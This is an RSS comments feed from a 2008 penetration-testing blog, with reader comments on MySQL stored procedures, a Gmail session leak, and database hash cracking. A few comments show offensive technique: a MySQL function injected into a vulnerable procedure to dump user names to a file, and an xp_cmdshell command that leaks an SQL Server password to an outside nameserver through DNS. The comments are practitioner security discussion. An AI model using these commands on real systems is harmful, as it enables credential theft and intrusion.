<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments for www.notsosecure.com</title>
	<atom:link href="http://www.notsosecure.com/folder2/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<pubDate>Thu, 20 Nov 2008 15:55:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.3</generator>
		<item>
		<title>Comment on MySql Stored Procedures And Functions by Infosec Update</title>
		<link>http://www.notsosecure.com/folder2/2008/11/04/mysql-stored-procedures-and-functions/#comment-60105</link>
		<dc:creator>Infosec Update</dc:creator>
		<pubDate>Fri, 07 Nov 2008 09:34:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=154#comment-60105</guid>
		<description>Interesting stuff, I've never seen SQL Security Invoker used in a real world LAMP-type application.

Actually I've found that for internally developed applications (as in within companies by in-house developers) stored procedures are quite rare on MySQL compared to Oracle (which probably explains why I haven't seen SQL Security Invoker used). In fact overall I'd say I'm more likely to see Oracle security than MySQL security (in terms of application use, I don't see people hardening databases themselves at all). 

Do you see many differences between Oracle and MySQL security functionality use in web apps?</description>
		<content:encoded><![CDATA[<p>Interesting stuff, I&#8217;ve never seen SQL Security Invoker used in a real world LAMP-type application.</p>
<p>Actually I&#8217;ve found that for internally developed applications (as in within companies by in-house developers) stored procedures are quite rare on MySQL compared to Oracle (which probably explains why I haven&#8217;t seen SQL Security Invoker used). In fact overall I&#8217;d say I&#8217;m more likely to see Oracle security than MySQL security (in terms of application use, I don&#8217;t see people hardening databases themselves at all). </p>
<p>Do you see many differences between Oracle and MySQL security functionality use in web apps?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on MySql Stored Procedures And Functions by sid</title>
		<link>http://www.notsosecure.com/folder2/2008/11/04/mysql-stored-procedures-and-functions/#comment-60045</link>
		<dc:creator>sid</dc:creator>
		<pubDate>Tue, 04 Nov 2008 21:31:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=154#comment-60045</guid>
		<description>One of the things, i wanted to achieve here, was to create a function with "sql security invoker" directive and then inject a function into the vulnerable stored procedure. This would have helped me to bypass the input length restrictions, but it seems that function drops its privs(or may be i have missed something). Anyways, this is what i was trying:

mysql&#62; create  function testing(input varchar(100)) returns varchar(50) READS SQL DATA  sql security invoker
    -&#62; begin
    -&#62; DECLARE sUserName VARCHAR(50);
    -&#62; select user into outfile '/tmp/a.txt' from mysql.user;
    -&#62; return 'aaa'; 
    -&#62; end
    -&#62; //
Query OK, 0 rows affected (0.01 sec)


mysql&#62; call sp_root(testing(1));
    -&#62; //
ERROR 1045 (28000): Access denied for user 'test'@'%' (using password: NO)</description>
		<content:encoded><![CDATA[<p>One of the things, i wanted to achieve here, was to create a function with &#8220;sql security invoker&#8221; directive and then inject a function into the vulnerable stored procedure. This would have helped me to bypass the input length restrictions, but it seems that function drops its privs(or may be i have missed something). Anyways, this is what i was trying:</p>
<p>mysql&gt; create  function testing(input varchar(100)) returns varchar(50) READS SQL DATA  sql security invoker<br />
    -&gt; begin<br />
    -&gt; DECLARE sUserName VARCHAR(50);<br />
    -&gt; select user into outfile &#8216;/tmp/a.txt&#8217; from mysql.user;<br />
    -&gt; return &#8216;aaa&#8217;;<br />
    -&gt; end<br />
    -&gt; //<br />
Query OK, 0 rows affected (0.01 sec)</p>
<p>mysql&gt; call sp_root(testing(1));<br />
    -&gt; //<br />
ERROR 1045 (28000): Access denied for user &#8216;test&#8217;@'%&#8217; (using password: NO)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Gmail on iphone..notsosecure by sid</title>
		<link>http://www.notsosecure.com/folder2/2008/10/14/gmail-on-iphonenotsosecure/#comment-57110</link>
		<dc:creator>sid</dc:creator>
		<pubDate>Wed, 15 Oct 2008 10:23:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=126#comment-57110</guid>
		<description>Gmail's response:-

"Thanks for your report on the GMail session-id-in-URL leak - nicely spotted! This affects a subset of people, so I'm glad you pointed it out. As you noted in your blog post, we've made sure this no longer appears in the URL. That's issue #2 in your blog post. Unlike issue #2, issue #1 does not relate to any mail.google.com data."

My response:-

issue1:- My Mistake, i did not see the hostname correctly. Yes, it may not have a direct impact on mail.google.com but an attacker could change the http response and thus present a victim with a login page which will submit the credentials to an attacker controlled website. This attack will be quite stealth and will fail the existence of https as the URL will say http://www.google.com. Further, i haven't looked into what an attacker could do with cookies obtained via the http request. Not all cookies are marked secure, and i am not sure if the cookies not marked as secure can be used to obtain a secure cookie too or if they can used in google accounts etc. All in all, it may be worth fixing it.:)</description>
		<content:encoded><![CDATA[<p>Gmail&#8217;s response:-</p>
<p>&#8220;Thanks for your report on the GMail session-id-in-URL leak - nicely spotted! This affects a subset of people, so I&#8217;m glad you pointed it out. As you noted in your blog post, we&#8217;ve made sure this no longer appears in the URL. That&#8217;s issue #2 in your blog post. Unlike issue #2, issue #1 does not relate to any mail.google.com data.&#8221;</p>
<p>My response:-</p>
<p>issue1:- My Mistake, i did not see the hostname correctly. Yes, it may not have a direct impact on mail.google.com but an attacker could change the http response and thus present a victim with a login page which will submit the credentials to an attacker controlled website. This attack will be quite stealth and will fail the existence of https as the URL will say <a href="http://www.google.com" rel="nofollow">http://www.google.com</a>. Further, i haven&#8217;t looked into what an attacker could do with cookies obtained via the http request. Not all cookies are marked secure, and i am not sure if the cookies not marked as secure can be used to obtain a secure cookie too or if they can used in google accounts etc. All in all, it may be worth fixing it.:)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on wordpress admin-ajax.php Sql Injection by werutzb</title>
		<link>http://www.notsosecure.com/folder2/2007/05/22/wordpress-admin-ajaxphp-sql-injection/#comment-55467</link>
		<dc:creator>werutzb</dc:creator>
		<pubDate>Wed, 08 Oct 2008 02:22:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/05/22/wordpress-admin-ajaxphp-sql-injection/#comment-55467</guid>
		<description>Hi!

I would like improve my SQL knowledge.
 I red so many SQL books and would like to
read more about SQL for my position as oracle database manager.

 What would you recommend?

Thanks,
Werutz</description>
		<content:encoded><![CDATA[<p>Hi!</p>
<p>I would like improve my SQL knowledge.<br />
 I red so many SQL books and would like to<br />
read more about SQL for my position as oracle database manager.</p>
<p> What would you recommend?</p>
<p>Thanks,<br />
Werutz</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on MySql default [insecure] installation in debian by pavlix</title>
		<link>http://www.notsosecure.com/folder2/2007/04/12/mysql-default-insecure-installation-in-debian/#comment-28327</link>
		<dc:creator>pavlix</dc:creator>
		<pubDate>Fri, 16 May 2008 12:39:08 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/04/12/mysql-default-insecure-installation-in-debian/#comment-28327</guid>
		<description>hello,
I don't se a point in cracking the mysql user password
when I already have root access and can do whatever I want with the files on the system (including mysql database).

reply to my e-mail, I'm not likely to come and check the reactions.</description>
		<content:encoded><![CDATA[<p>hello,<br />
I don&#8217;t se a point in cracking the mysql user password<br />
when I already have root access and can do whatever I want with the files on the system (including mysql database).</p>
<p>reply to my e-mail, I&#8217;m not likely to come and check the reactions.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Database Password Hashes Cracking by Bernardo</title>
		<link>http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/#comment-23896</link>
		<dc:creator>Bernardo</dc:creator>
		<pubDate>Wed, 16 Apr 2008 08:00:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/04/15/database-password-hashes-cracking/#comment-23896</guid>
		<description>Hi Sumit,

first of all congratulations for your blog!
Just some notes about this post:
On Microsoft SQL Server 2000 such query does not always return the hashes in the password field, even with their own Query Analyzer it returns NULL, depending on the Service Pack of the SQL Server itself (tested on SP0), you've to use a cast algorithm to do such, I implemented it on sqlmap, you can find the source code at http://sqlmap.sourceforge.net/dev/plugins.mssqlserver-pysrc.html#MSSQLServerMap.getPasswordHashes if you're interested in further details.
Cain and Abel does the work properly cracking MSSQL password hashes, but I suggest you to give a try also to http://www.ngssoftware.com/products/database-security/ngs-sqlcrack.php, if you do not know it already. The algorithm implemented uses native DLL functions to speed up the process of cracking.

Cheers,
Bernardo</description>
		<content:encoded><![CDATA[<p>Hi Sumit,</p>
<p>first of all congratulations for your blog!<br />
Just some notes about this post:<br />
On Microsoft SQL Server 2000 such query does not always return the hashes in the password field, even with their own Query Analyzer it returns NULL, depending on the Service Pack of the SQL Server itself (tested on SP0), you&#8217;ve to use a cast algorithm to do such, I implemented it on sqlmap, you can find the source code at <a href="http://sqlmap.sourceforge.net/dev/plugins.mssqlserver-pysrc.html#MSSQLServerMap.getPasswordHashes" rel="nofollow">http://sqlmap.sourceforge.net/dev/plugins.mssqlserver-pysrc.html#MSSQLServerMap.getPasswordHashes</a> if you&#8217;re interested in further details.<br />
Cain and Abel does the work properly cracking MSSQL password hashes, but I suggest you to give a try also to <a href="http://www.ngssoftware.com/products/database-security/ngs-sqlcrack.php" rel="nofollow">http://www.ngssoftware.com/products/database-security/ngs-sqlcrack.php</a>, if you do not know it already. The algorithm implemented uses native DLL functions to speed up the process of cracking.</p>
<p>Cheers,<br />
Bernardo</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Ten Cents by pentestmonkey</title>
		<link>http://www.notsosecure.com/folder2/2007/04/14/ten-cents/#comment-53</link>
		<dc:creator>pentestmonkey</dc:creator>
		<pubDate>Sat, 14 Apr 2007 12:15:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/04/14/ten-cents/#comment-53</guid>
		<description>Quoting:

&lt;blockquote&gt;
select null from openrowset(â€™sqloledbâ€™,â€;â€™saâ€™;'[password]â€™,'exec
master..xp_cmshell â€ping my_hostâ€â€™). I will confirm this sometime later.

&lt;/blockquote&gt;



I thought of a possible refinement to your idea.  Maybe you could get
the query to send a DNS request containing the password.

Instead of:

exec master..xp_cmshell "ping myhost"

Do:

exec master..xp_cmshell "ping [password].notsosecure.com"

Listen for the DNS request on your nameserver.  Outbound ping might be
blocked, but outbound DNS is less likely to be blocked.

Ref: http://pentestmonkey.net/blog/mssql-dns/


Just a thought.</description>
		<content:encoded><![CDATA[<p>Quoting:</p>
<blockquote><p>
select null from openrowset(â€™sqloledbâ€™,â€;â€™saâ€™;&#8217;[password]â€™,&#8217;exec<br />
master..xp_cmshell â€ping my_hostâ€â€™). I will confirm this sometime later.</p>
</blockquote>
<p>I thought of a possible refinement to your idea.  Maybe you could get<br />
the query to send a DNS request containing the password.</p>
<p>Instead of:</p>
<p>exec master..xp_cmshell &#8220;ping myhost&#8221;</p>
<p>Do:</p>
<p>exec master..xp_cmshell &#8220;ping [password].notsosecure.com&#8221;</p>
<p>Listen for the DNS request on your nameserver.  Outbound ping might be<br />
blocked, but outbound DNS is less likely to be blocked.</p>
<p>Ref: <a href="http://pentestmonkey.net/blog/mssql-dns/" rel="nofollow">http://pentestmonkey.net/blog/mssql-dns/</a></p>
<p>Just a thought.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Word Press: Md5 hash in Cookie by &#187; Wordpress 2.1.2 xmlrpc Security Issues &#187; www.notsosecure.com</title>
		<link>http://www.notsosecure.com/folder2/2007/03/15/word-press/#comment-17</link>
		<dc:creator>&#187; Wordpress 2.1.2 xmlrpc Security Issues &#187; www.notsosecure.com</dc:creator>
		<pubDate>Tue, 03 Apr 2007 18:38:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/03/15/word-press/#comment-17</guid>
		<description>[...] hash of password of all users including admin user. Before you run mdcrack on this hash, read my previous post on wordpress cookies as this will save your time. Once you have the admin user hash needless to say [...]</description>
		<content:encoded><![CDATA[<p>[...] hash of password of all users including admin user. Before you run mdcrack on this hash, read my previous post on wordpress cookies as this will save your time. Once you have the admin user hash needless to say [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Cookie Analysis by Tom Taylor</title>
		<link>http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/#comment-16</link>
		<dc:creator>Tom Taylor</dc:creator>
		<pubDate>Tue, 03 Apr 2007 14:37:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/#comment-16</guid>
		<description>Cool, i don't know of a 'remember me' feature that is secure.

I've often wondered how google and hotmail uses its remember me feature ?</description>
		<content:encoded><![CDATA[<p>Cool, i don&#8217;t know of a &#8216;remember me&#8217; feature that is secure.</p>
<p>I&#8217;ve often wondered how google and hotmail uses its remember me feature ?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Insecure Php coding by Tejaswy</title>
		<link>http://www.notsosecure.com/folder2/2007/03/20/insecure-php-coding/#comment-14</link>
		<dc:creator>Tejaswy</dc:creator>
		<pubDate>Tue, 27 Mar 2007 09:58:29 +0000</pubDate>
		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/03/20/insecure-php-coding/#comment-14</guid>
		<description>Hi,
Just checking out your blog.</description>
		<content:encoded><![CDATA[<p>Hi,<br />
Just checking out your blog.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
